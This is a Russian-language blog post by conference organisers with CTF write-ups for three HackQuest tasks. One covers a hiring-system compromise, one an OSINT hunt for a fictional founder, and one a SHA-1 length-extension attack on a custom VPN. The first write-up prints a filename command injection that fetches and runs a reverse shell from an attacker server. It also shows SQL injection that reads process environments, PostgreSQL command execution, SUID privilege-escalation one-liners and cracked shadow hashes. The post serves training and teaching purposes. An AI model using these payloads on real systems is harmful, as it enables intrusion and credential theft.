26 ноября 2025 года мы провели долгожданную конференцию по информационной безопасности ZeroNights. Было классно – пусть и не всегда легко :) За атмосферой предлагаем заглянуть в Галерею, а за ценным опытом спикеров – в Материалы, где вы найдете презентации и видеозаписи докладов.

А пока хотим поделиться некоторыми райтапами заданий для HackQuest ZeroNights. Это традиционный квест, проводимый до начала конференции, где за решение тасок и CTF победители получают билеты на ZeroNights. Отличный способ встряхнуться перед мероприятием!

Список победителей 2025

Кстати, в этом году ZeroNights пройдет 30 сентября! HackQuest тоже будет. Все связанные с конференцией активности анонсируем отдельно. Будем на связи в Telegram и ВК!

А пока – к райтапам. Возможно, эти решения помогут участникам с задачками в этом году :)


Райтап задания 2 дня от DSEC by Solar / ATTACK ON HR

Описание:

The company decided to automate its hiring processes and developed new recruiting system. You can submit and view candidate resumes in a single app!

По адресу http://87.228.113.169/ (ныне не работает) был сайт.

Задача – найти флаг.

Hints

19/10/2025, 15:25 – Flag is inside /root/ folder on the host (not inside the containers)

19/10/2025, 13:10 – You need to find a race condition vulnerability

Решение

Этап 1: Разведка и первоначальный доступ

Начальный этап разведки заключался в сканировании веб-сайта с использованием специализированных словарей. В результате была обнаружена уязвимость Nginx alias traversal, которая позволила получить доступ к скрытой директории .git.

Результаты сканирования:

301      GET        7l       11w      169c http://87.228.113.169/static../.git => http://87.228.113.169/static../.git/
200      GET        8l       20w      140c http://87.228.113.169/static../.git/config
200      GET        1l       10w      158c http://87.228.113.169/static../.git/logs/HEAD
200      GET        1l        2w       21c http://87.228.113.169/static../.git/HEAD
403      GET        7l        9w      153c http://87.228.113.169/static../.git/logs/
301      GET        7l       11w      169c http://87.228.113.169/static../.git/logs/refs => http://87.228.113.169/static../.git/logs/refs/
200      GET       12l       27w     1697c http://87.228.113.169/static../.git/index

Для восстановления структуры Git-репозитория была использована утилита git-dumper. Процесс восстановления включал в себя загрузку ключевых файлов репозитория.

Логи git-dumper:

[-] Testing http://87.228.113.169/static../.git/HEAD [200]
...
[-] Fetching common files
[-] Fetching http://87.228.113.169/static../.git/hooks/commit-msg.sample [200]
...
[-] Finding objects
[-] Fetching objects
[-] Fetching http://87.228.113.169/static../.git/objects/61/0268f30853d412ad1380f3a8d93350124e9ee0 [200]
...

Из восстановленного репозитория был получен исходный код двух сервисов: hr-admin и resumes-app.

Этап 2: Анализ и эксплуатация resumes-app

Анализ исходного кода

При изучении кода resumes-app была обнаружена функция валидации имени файла, которая на первый взгляд казалась достаточно строгой.

func validateName(name string) error {    log.Printf("name string: %s", name)    re := regexp.MustCompile(`^[A-Za-z _]+\.(pdf|docx?|txt)$`)    if !re.MatchString(name) {        return fmt.Errorf("filename not allowed")    }    return nil
}

Однако более глубокий анализ (и хинт) выявил уязвимость типа data race (состояние гонки), связанную с особенностями работы с переменными и замыканиями в Go:

  • Глобальная переменная err из функции main захватывалась по ссылке замыканием, используемым в http.HandleFunc.

  • Каждый HTTP-запрос обрабатывался в отдельной горутине, что приводило к конкурентной записи и чтению переменной err без какой-либо синхронизации.

Эксплуатация уязвимости

Для эксплуатации была разработана следующая стратегия:

  1. Создание простого reverse shell на Go (a.go).

  2. Развертывание веб-сервера на подконтрольной машине для раздачи скомпилированного reverse shell.

Код веб-сервера на Python (Flask):

import os
from flask import Flask, send_file, abort
app = Flask(__name__)
FILE_PATH = os.path.join(os.path.dirname(__file__), "a.go")
@app.route("/", methods=["GET"])
def serve_a_out():    if not os.path.isfile(FILE_PATH):        abort(404, description="a.out not found next to app.py")    return send_file(        FILE_PATH,        as_attachment=True,        download_name="a.go",        mimetype="application/octet-stream",        conditional=True,    )
if __name__ == "__main__":    port = int(os.environ.get("PORT", 80))    app.run(host="0.0.0.0", port=port)

Для создания состояния гонки использовался инструмент Intruder из Burp Suite, который в многопоточном режиме (20 потоков) отправлял множество валидных запросов.

Шаблон валидного запроса для Intruder:

POST /api/upload HTTP/1.1
...
------WebKitFormBoundaryBcTaEx90fgpxEwf8
Content-Disposition: form-data; name="resume"; filename="test$$.pdf"
Content-Type: image/svg+xml
test
------WebKitFormBoundaryBcTaEx90fgpxEwf8--

$$ используются в Intruder для подстановки некоторого пейлоада, в этом случае для генерации уникальных имен файлов.

Одновременно с этим вручную отправлялся один запрос с вредоносной нагрузкой.

Запрос с полезной нагрузкой:

POST /api/upload HTTP/1.1
...
------WebKitFormBoundaryBcTaEx90fgpxEwf8
Content-Disposition: form-data; name="resume"; filename="test.pdf && wget <attacker_server_ip> -O a.go && go run a.go"
Content-Type: image/svg+xml
test
------WebKitFormBoundaryBcTaEx90fgpxEwf8--

В результате успешной эксплуатации был получен reverse shell с контейнера resumes-app.

Этап 3: Продвижение внутри сети и закрепление

После получения доступа к первому контейнеру стало очевидно, что основной целью является сервис hr-admin.

Сканирование внутренней сети

С помощью nmap, загруженного в скомпрометированный контейнер, была просканирована внутренняя подсеть 172.18.0.0/24.

Результаты сканирования Nmap:

...
Nmap scan report for hq-postgres-1.hq_default (172.18.0.2)
Host is up.
PORT     STATE SERVICE
5432/tcp open  postgresql
Nmap scan report for hq-hr-admin-1.hq_default (172.18.0.3)
Host is up.
PORT     STATE SERVICE
8081/tcp open  blackice-icecap
...

Сканирование выявило наличие контейнера с PostgreSQL и сервиса hr-admin.

Эксплуатация SQL-инъекции в hr-admin

В сервисе hr-admin была обнаружена SQL-инъекция в параметрах order и sort.Через созданный ранее reverse SOCKS-прокси была предпринята попытка эксплуатации с помощью sqlmap, но она не дала значимых результатов, кроме подтверждения уязвимости.

Для получения учетных данных от базы данных было решено использовать инъекцию для чтения файла /proc/self/environ из окружения процесса.

Пример запроса для чтения файла:

http://172.18.0.3:8081/resumes?sort=(SELECT encode(pg_read_binary_file('/proc/1/environ'), 'escape'))::int&order=asc

Это позволило извлечь креды для подключения к базе данных.

Этап 4: Компрометация контейнера с PostgreSQL

Используя полученные учетные данные и специально написанный Python-скрипт для подключения к PostgreSQL через SOCKS5-прокси, был получен полуинтерактивный доступ к СУБД.

Получение RCE через PostgreSQL

Благодаря высоким привилегиям пользователя в базе данных удалось добиться удаленного выполнения команд (RCE) с помощью техники COPY PROGRAM.

Команды для выполнения:

CREATE TEMP TABLE shell(output text) ON COMMIT DROP;
COPY shell FROM PROGRAM '<команда>';
SELECT output FROM shell;

Это позволило получить reverse shell уже внутри контейнера с PostgreSQL.

Этап 5: Эскалация привилегий в контейнере

Анализ прав доступа в новом контейнере с помощью linPEAS выявил возможность запуска утилиты pgbench с правами sudo без пароля.

Вывод sudo -l:

User postgres may run the following commands on b1aabb2e93ca:    (ALL) NOPASSWD: /usr/bin/pgbench

Для эксплуатации этой возможности был создан специальный скрипт /tmp/root.pg, который использовал pgbench для создания SUID-ного bash.

Содержимое /tmp/root.pg:

\setshell x /bin/sh -c '/usr/bin/cp /usr/bin/bash /tmp/bash && /usr/bin/chmod 4755 /tmp/bash'

Команды для эксплуатации:

  1. sudo /usr/bin/pgbench -U superuser -d filesdb -n -c 1 -t 1 -f /tmp/root.pg

  2. /tmp/bash -p

В результате был получен root-доступ внутри контейнера PostgreSQL.

Этап 6: Побег из контейнера и доступ к хосту

Дальнейшее сканирование с помощью утилиты cdk показало наличие у контейнера чрезмерной привилегии (capability) cap-dac-read-search. Встроенный в cdk эксплойт позволил прочитать файл /etc/shadow с хост-системы.

Содержимое /etc/shadow (фрагмент):

root:$6$LhJL6EYu$2iez4yTdnjAtqLnAK4sDSyt31PCTEq2QDLn0CHTJ7vRlGbQyDpOEcWNwhZCkmA/QMHgug0yo4zHqrxPBcwojX.:20378:0:99999:7:::
...
nikolay:$y$j9T$NiqS71BqX0wBUACjxx.Up.$ESKH2MNErpgWGpuSnV0VVHwNXSamZR6w6YD80b/riX2:20378:0:99999:7:::

Хеш пароля пользователя nikolay был успешно взломан с помощью John the Ripper и словаря rockyou.txt.

Команда для взлома:
john --wordlist=rockyou.txt --format=crypt --users=nikolay hashes.txt

Получив пароль, удалось подключиться к хосту по SSH через ранее настроенный SOCKS-прокси.

Этап 7: Получение полного контроля над хостом

На финальном этапе, после входа на хост-систему, повторный запуск linPEAS выявил небезопасную конфигурацию SUID-бита на стандартной утилите /usr/bin/env.

Небезопасные права доступа:
-rwsr-xr-x 1 root root 47K Jun 22 16:21 /usr/bin/env

Для получения привилегированного шелла было достаточно выполнить одну команду:
/usr/bin/env /usr/bin/bash -p

Это предоставило полный root-доступ к хост-системе. Финальным шагом стало чтение флага из директории /root/.

Райтап задания 5 дня от rawrd.channel/ STARTUP

Описание:

There is a rumor that a biotech startup Vitarecon is about to disrupt healthcare. But the person
who runs it may be a known fraudster.

Задача – найти адрес компании, владельца и имя его кота.

Формат флага: ZN{Country_City_Street_name_building_Name_Surname_CatName}

Решение

Шаг 1: Поиск информации о компании Vitarecon

Начинаем с простого поиска в Google по запросу "Vitarecon". В результатах поиска находим два важных ресурса:

  1. Презентация на ppt-online.org - содержит информацию о компании

  2. Профиль в Facebook - профиль Marta Duran, которая указала Vitarecon как место работы

Шаг 2: Анализ презентации компании

Открываем найденную презентацию и обнаруживаем слайд с информацией о команде. Здесь представлены три участника:

  • K. K. - Опытный лидер с глубоким пониманием медицинского рынка и стартап-экосистемы

  • Джесанг Лим - Технический визионер с опытом построения масштабируемых медицинских IT-решений

  • Марта Дюран - Специалист по финансовому управлению с экспертизой в инвестициях и масштабируемом бизнесе

Важно: Основатель компании имеет инициалы K. K.

Просматриваем все слайды презентации до конца. На последнем слайде находим список инициалов команды и адрес компании:

Charlotte Yhlens gata 11, 252 23

По адресу определяем местоположение: Helsingborg, Sweden (шведский индекс 252 23 соответствует городу Хельсингборг).

Шаг 3: OSINT через Facebook - поиск владельца

Переходим к профилю Marta Duran в Facebook. В её профиле указано, что она работает финансовым директором в Vitarecon.

Начинаем анализировать её профиль. Проверяем, кто ставил лайки на её посты и с кем она взаимодействует.

Шаг 4: Обнаружение владельца и имени кота

Находим пользователя Jesang Lim, который соответствует "Джесанг Лим" из презентации. Изучаем его посты.

В одном из постов Jesang Lim пишет:

"Yesterday Kihvan left his cat with me and went to visit his family for a couple of days. George seems pretty happy to have me around"

Из этого поста узнаём:

  • Имя владельца кота: Kihvan

  • Имя кота: George

Шаг 5: Определение полного имени владельца

Ищем в Facebook пользователя с именем "Kihvan" и находим профиль Kihvan Kim.

Инициалы K. K. из презентации совпадают с Kihvan Kim - это основатель компании Vitarecon.

Итоговый флаг

Собираем все найденные данные:

  • Страна: Sweden

  • Город: Helsingborg

  • Улица: Charlotte_Yhlens_gata

  • Дом: 11

  • Имя: Kihvan

  • Фамилия: Kim

  • Имя кота: George

Флаг: ZN{Sweden_Helsingborg_Charlotte_Yhlens_gata_11_Kihvan_Kim_George}

Выводы

  1. Задача решается комбинацией классических OSINT-техник (гугл, анализ корпоративных презентаций, анализ связей между людьми).

  2. Лучше не иметь редких имен.

Райтап задания 6 дня от Akiba Hackspace / N3TW0RK

Описание:

We missed those times when the internet was so simple and tiny, and the possibilities
deemed so infinite... where the tru3 h4ck3rs explored the world... led by pure curiosity
that was their only crime... So we started building one of our own.

Mind joining us in our journey?

Задача – найти флаг.

Hints

23/10/2025, 20:00 – Task was extended till 23:59:59 UTC+3

23/10/2025, 19:00 – We looked into vpn-client binary and seems Merkle Damgård is under attack

23/10/2025, 15:15 – VPN server identifies clients using signature in RPC connections

23/10/2025, 11:00 – Admin keeps his flag in the vault, and the vault authenticates users by IP

Исходники задания от авторов: https://github.com/akiba-hs/zn-hackquest-2025/

Решение

Дано

Участникам даётся ссылка на телеграм-бота. Используя его, участник может получить команду с конфигурацией для запуска контейнера с таском.

Здесь ip-адрес сервера (192.168.159.1) уже локальный, так как трафик и write-up писался после ивента.

Конфигурация является закодированным base64. Если мы декодируем её, то получим json:

{"who":"10.11.0.10","password":"e9X9f8mI4HFbV0lLJAy11lxZ0gSJO4cTjyoMjJMSPvk="}`

Здесь всё тот же ip, что и в боте, и некий пароль. Запустим docker контейнер командой из бота и посмотрим, что там есть.

Изучаем контейнер

При запуске видим, что нам доступны чат и хранилище секретов.
Можно предположить, что оно как-то связано с получением флага. Поэтому для начала посмотрим хранилище.

Хранилище (vault)

Изучив исходный код клиента, мы узнаём:

  1. Клиент общается с сервером 10.11.12.3 по UDP на порту 9999

  2. Клиент пытается биндить свой сокет на порт 31337, но это опционально

  3. Разные команды:

    — Записывать секреты

    — Листить секреты

    — Читать секреты

При этом в клиенте нет явной аутентификации!
И если выписать ещё один конфиг, а затем залистить секреты, то список будет пустым.
Значит хранилище как-то идентифицирует пользователя.

Чат

Теперь давайте посмотрим чат.
В нём мы можем общаться с админом.

А также у нас есть сервис новостей.

С помощью команды news находим первую новость, дающую подсказку о том, куда копать дальше:

Мы видим, что была какая-то проблема с подписью (имперсонирование?), которую разработчики исправили увеличением некоего секрета до 256 бит. Длина "секрета" как раз совпадает с длиной пароля в конфигурации.

Окружение

Посмотрим, что ещё есть в контейнере.

Таск называется NETWORK, нам дали ip-адрес. Посмотрим на сеть командой ip a:

1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00    inet 127.0.0.1/8 scope host lo       valid_lft forever preferred_lft forever    inet6 ::1/128 scope host proto kernel_lo        valid_lft forever preferred_lft forever
2: akiba0: <POINTOPOINT,MULTICAST,NOARP,UP,LOWER_UP> mtu 65535 qdisc fq_codel state UNKNOWN group default qlen 500    link/none     inet 10.11.0.10/16 brd 10.11.255.255 scope global akiba0       valid_lft forever preferred_lft forever    inet6 fe80::6493:1861:b9db:55f7/64 scope link stable-privacy proto kernel_ll        valid_lft forever preferred_lft forever
51: eth0@if52: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default     link/ether 02:42:ac:12:00:03 brd ff:ff:ff:ff:ff:ff link-netnsid 0    inet 172.18.0.3/16 brd 172.18.255.255 scope global eth0       valid_lft forever preferred_lft forever

А также посмотрим текущие соединения командой ss -tulpan:

Netid   State  Recv-Q  Send-Q  Local Address:Port     Peer Address:Port  Process                                        tcp     ESTAB  0       0          172.18.0.3:52718  192.168.88.218:4444   users:(("vpn-client",pid=9,fd=6))

Внутри контейнера развернут VPN. Узнать какой процесс слушает tun интерфейс можно так:

$ grep ^iff: /proc/*/fdinfo/* 2>/dev/null
/proc/9/fdinfo/7:iff:	akiba0

Точка входа

Посмотрим, что происходит при запуске контейнера — для этого надо найти "entrypoint".
Смотрим его из команды docker inspect ghcr.io/akiba-hs/zn25-net-client:latest, ищём свойство Entrypoint, которое будет равно:

"Entrypoint": [    "/tini",    "--",    "/usr/local/bin/entrypoint.sh"
],

tini — это контейнер аналог инит процесса, а мякотка живёт в /usr/local/bin/entrypoint.sh.

Сам файл entrypoint.sh
#!/bin/bash
VPN_TOKEN=${VPN_TOKEN:-""}
SERVER_IP=${SERVER_IP:-""}
DEBUG=0
LOG_LEVEL=INFO
function usage() {    echo ""    echo 'Run: docker run --rm -ti --privileged ghcr.io/akiba-hs/zn25-net-client -server <server internet ip> -auth <config string>'    echo ""    echo -e "\t-server <addr> - VPN server address"    echo -e "\t-auth <string> - your VPN config from tg bot"    echo -e "\t-debug         - debug mode"    echo -e "\t-log-level     - log level for VPN daemon (and for debug mode and for logging to file /var/log/vpn-client.log)"    echo ""    echo "P.S. Enjoy"    echo "P.P.S. Try harder ;)"    exit 0
}
function print_intro() {    echo -e '\n\n ~~~ wazzup ${USERNAME}, ~~~\n'    echo    " *   Welcome to the 31337 AKIBA n3tw0rk!                     *"    echo    " *   Here you can find:                                      *"    echo    " *    - chat                       -- use ./chat_client.py   *"    echo    " *    - vault for storing secrets  -- use ./vault_client.py  *"    echo    " *                                                           *"    echo    " *   In chats you will also find our news bot.               *"    echo    " *   It'll help you have a look around! :^)                  *"    echo    " *                                                           *"    echo    " *   Chat client now supports themes!                        *"    echo    " *         See ./chat_client.py --help on how to set them.   *"    echo -e " *                                                           *\n"
}
while [[ $# -gt 0 ]]; do  case $1 in    -server|--server|-s)      SERVER_IP="$2"      shift # past argument      shift # past value      ;;    -auth|-a|--config)      VPN_TOKEN="$2"      shift # past argument      shift # past value      ;;    -debug)      DEBUG=1      LOG_LEVEL=TRACE      shift # past argument      ;;    -log-level)      LOG_LEVEL="$2"      shift # past argument      shift # past value      ;;    -help|--help|-h)      usage      ;;    *)      echo "Unknown option '$1'"      usage      ;;  esac
done
if [[ -z "$SERVER_IP" ]] || [[ -z "$VPN_TOKEN" ]]; then    echo "-server or -auth args aren't present"    usage
fi
SELF_PID=$$
VPN_PID_FILE=/var/run/vpn-client.pid
function start_vpn_client() {    [[ $DEBUG = 1 ]] && OUT_FILE="/dev/stdout" || OUT_FILE="/var/log/vpn-client.log"    /usr/local/bin/vpn-client -server "$SERVER_IP" -auth "$VPN_TOKEN" -pid-file "$VPN_PID_FILE" -log-level $LOG_LEVEL  > $OUT_FILE    echo "[ ] client exit with code: $?"    echo "Steps for troubleshooting:"    echo '1. Check your config in tg bot, maybe generate new one'    echo '2. Add option `-debug` when running client container '    # echo '3. Check log of VPN daemon `less /var/log/vpn-client.log`'    kill $SELF_PID    exit 1
}
start_vpn_client &
echo "[ ] waiting connecting ..."
until [ -e "$VPN_PID_FILE" ]; do sleep 0.5; done
print_intro
/bin/bash
exit $?

Здесь есть:

  • вывод приветствия

  • help сообщение

  • парсинг аргументов

  • запуск /usr/local/bin/vpn-client, куда передаётся адрес сервера и конфиг из бота

Промежуточный итог

Теперь посмотрим, что нам известно на данный момент и чего нам не хватает, чтобы понять, куда двигаться дальше.

  1. Мы знаем, что была какая-то проблема с подписью, в результате чего увеличили длину секрета.

  2. Есть админ и есть хранилище. Раз хранилище для каждого клиента показывает только его секреты, то у админа там будет лежать явки пароли от прода флаг.

  3. Дан полноценный VPN клиент и ip-адрес tun интерфейса совпадает с адресом из конфига.

Чего мы не знаем, так это:

  1. Где используется пофикшенный секрет, как генерируется подпись и зачем она вообще.

  2. Как можно достать флаг из хранилища админа.

Изучаем трафик

Запуск контейнера

На хосте запустим tcpdump и будем смотреть на трафик в сторону VPN-сервера. Итоговая команда такая:

tcpdump -v -i any -w outside_container.pcap src 192.168.159.1 or dst 192.168.159.1

Видим TCP соединение, в котором передаётся json-сообщение, обёрнутое в какой-то формат сообщения.

Причём в сообщении передаётся ip-адрес внутри VPN сети.

Общение с хранилищем

Первые пакеты понятны, теперь посмотрим что происходит при общении с хранилищем.

Tcpdump внутри контейнера

Для этого воспользуемся тем же tcpdump, но запустим его внутри сети контейнера.

Это можно сделать двумя способами:

  1. Классический:

    • поставить внутри tcpdump

    • "провалиться" в соседнем терминале в контейнер через docker exec -ti <id of container>

    • запустить tcpdump

    • сделать добро и бросить его в воду

    • прервать tcpdump

    • вытащить дамп из контейнера через docker cp

  2. Не классический: Для трафика нужна только сеть, а сеть в контейнерах — это свой сетевой неймспейс. В линукс можно заспавнить процесс внутри неймспейса с помощью nsenter. Нужно только узнать pid процесса внутри целевого неймспейса.

Полная команда для второго варианта:

sudo nsenter -n --target $(docker inspect <id of container> | grep Pid | grep -P -o '\d+') -- tcpdump -i any -w inside_container.pcap

Таким образом можно запускать хостовые бинари, которые сохраняют файлы на хостовой системе, но сеть будет контейнерная.


Вернёмся к анализу...

Вот такие UDP пакеты клиент отправлял:

А вот, что было снаружи.
Сначала было запрошено соединение (туннель) до 10.11.12.3 в первом TCP-стриме. Видимо, этот TCP-стрим — это управляющее соединение:

В ответе от VPN-сервера указан порт 34349, отфильтровав по нему, увидим отправленное по UDP содержимое, но уже по TCP и обёрнутое в тот самый неизвестный формат:

Открытие чата

Также в трафике можно увидеть общение с реестром активных пользователей чата, который используется в клиенте чата:

До VPN:

Снаружи VPN:

Общение с админом

Само общение по чату с админом:

Собираем информацию вместе

Какой из всего этого мы можем сделать вывод?
У нас есть какой-то самописный VPN (на это ещё указывала текущая рабочая директория, которую мы видим при запуске контейнера /root/vpn).

Также мы узнали, что внутри VPN сети есть::

  • 10.11.12.1 - ip сервера

  • 10.11.12.2 - ip админа

  • 10.11.12.3 - ip хранилища

  • 10.11.12.5 - ip справочника (реестра юзеров чата)

Также мы увидели структуру пакетов VPN'а:

<какое-то число>|<ip отправителя сообщение>|<json с сообщением>|<40 символов-хексов>
  1. какое-то число — это скорее всего длина сообщения

  2. ip отправителя сообщения - вероятно, это поле используется для идентификации удаленной стороны и VPN клиент прозрачно подставляет ip адреса

  3. json с сообщением - payload пакета

  4. 40 символов-хексов - 40 символов, это 20 байт, то есть 160 бит, а это уже похоже на SHA-1 и, вероятно, это подпись.


Итак в контейнере есть VPN-клиент, который и формирует подпись и использует для этого секрет, который передаётся в конфигурации. Этот секрет - единственная зацепка для сервера, по которой он может аутентифицировать VPN-клиента и сопоставить его со внутренним ip-адресом.

Реверс-инжиниринг VPN-клиента

Давайте посмотрим в исполняемый файл VPN клиента, чтобы понять, как формируется подпись и как он вообще работает.
Путь до бинаря нашли ещё на первых этапах: /usr/local/bin/vpn-client

В IDA мы видим, что клиент был написан на Go. Интересует нас в первую очередь кастомная логика, а не стандартный рантайм Go.
Таким образом находим функции из модуля akiba-net -выглядит как то, что нужно:

Среди его функций смотрим те, что обрабатывают сообщения. В частности, функция akiba-net/internal/vpn/api.PostelUnmarshalOne отвечает за парсинг — сначала достаёт само сообщение с помощью функции postelUnmarshalDecode, а затем парсит в RPC объект:

Сама функция postelUnmarshalDecode парсит не совсем обычным способом — в цикле проглатывает байты до тех пор, пока не увидит валидный json.

По её названию и способу работы можно понять, что клиент (и, скорее всего, сервер) реализуют Закон Постела, который появился на заре рождения глобальной сети и звучит так:

Быть консервативным в том, что вы делаете, быть либеральным в том, что вы принимаете от других.

То есть клиент должен отправлять всё максимально близко к стандарту протокола, но принимать может даже данные, не следующие строго стандарту, но смысл которых достаточно понятен из контекста.

Далее мы натыкаемся на две интересные функции: akiba-net/internal/vpn/crypto.(*SingleSigner).Sign и akiba-net/internal/vpn/crypto.doHexSign.

Что же мы можем из них узнать? Что подпись формируется как sha1(<секрет>|<ip>|<json с сообщением>). Зная секрет (он же пароль), известный только клиенту и серверу, можно подписывать сообщения от имени этого клиента и выдать себя за него.

Но пароль админа никак не получить! Неужели придётся брутить хэши?..

Атакуем SHA-1 удлинением сообщения

Поискав в интернете (или в википедии), можно узнать, что такая "подпись" уязвима к атаке удлинением сообщения — это с одной стороны. А с другой при парсинге используется закон Постела, который позволяет нам это применить, не беспокоясь о последствиях пересылки нечитаемых байтов после удлинения сообщения.

Воспользуемся, например, Hash Extender, предварительно поставив всё необходимое (apt install git make gcc libssl-dev).

Поставим инструмент на машину, используя:

git clone https://github.com/iagox86/hash\\_extender.git
cd hash_extender
make
cd ..
export PATH="$PATH:$(pwd)/hash_extender"

Пример работы:

hash_extender -f sha1 -d '|10.11.12.2|{"sender": "admin", "timestamp": "2025-09-28T13:49:38.405411+00:00Z", "content": "lolkek3000, what do you mean?"}' -s '0b10bc8ec47406828aea4f9697517f24601608a3' -a '{"id": 3, "type": "connect-request", "body": {"target": "10.11.12.3", "port": 9999}}' -l 32

Через -d указываем известную часть сообщения, после-s идёт значение хэша которое мы перехватили, через -a указываем, что хотим добавить, после -l идёт длина неизвестной части в байтах, в нашем случае это длина секрета.

В результате работы получим новый хэш и новую строку, которую мы должны отправить:

Type: sha1
Secret length: 32
New signature: 13002cfeedf5199711f49a3cc1b5a117b7257394
New string: 7c31302e31312e31322e327c7b2273656e646572223a202261646d696e222c202274696d657374616d70223a2022323032352d30392d32385431333a34393a33382e3430353431312b30303a30305a222c2022636f6e74656e74223a20226c6f6c6b656b333030302c207768617420646f20796f75206d65616e3f227d80000000000000000000000000000000000000000000000000000000000000000004e87b226964223a20332c202274797065223a2022636f6e6e6563742d72657175657374222c2022626f6479223a207b22746172676574223a202231302e31312e31322e33222c2022706f7274223a20393939397d7d

План атаки

Чтобы прочитать секреты админа, нам надо представиться VPN-серверу админом и запросить туннель с хранилищем. Для этого нам нужно украсть его подпись и расширить, добавив наше сообщение.
Подпись админа можно получить из трафика чата, а благодаря парсингу по закону Постела сервер отбросит и json-сообщения чата, и бинарные данные расширения.

Затем повторим расширение для сообщений внутри туннеля с хранилищем и достанем секреты.

[!TIP]
Как оказалось, несколько раз расширять не требовалось.
VPN-сервер и клиент не проверяли, что ip-адреса в сообщениях внутри туннеля и ip-адрес в управляющем сообщении совпадают. Проверялась только валидность подписи.
Так что, было достаточно расширить только для управляющего сообщения, а внутри туннеля подписывать своей подписью.

Итого напишем скрипт, который будет за нас:

  • открывает соединения для общения с админом

  • пишет админу

  • получает ответ от админа

  • расширяет сообщение админа для установления соединения с хранилищем

  • расширяет сообщение админа для чтения списка заметок

  • расширяет сообщение админа для чтения заметки flag

Несколько часов отлаживаем скрипт и получаем флаг:

В этом году мы определенно повторим наш традиционный квест. Встретимся осенью!

Наши Telegram и ВК, где новости публикуются раньше всего.

Комментарии (0)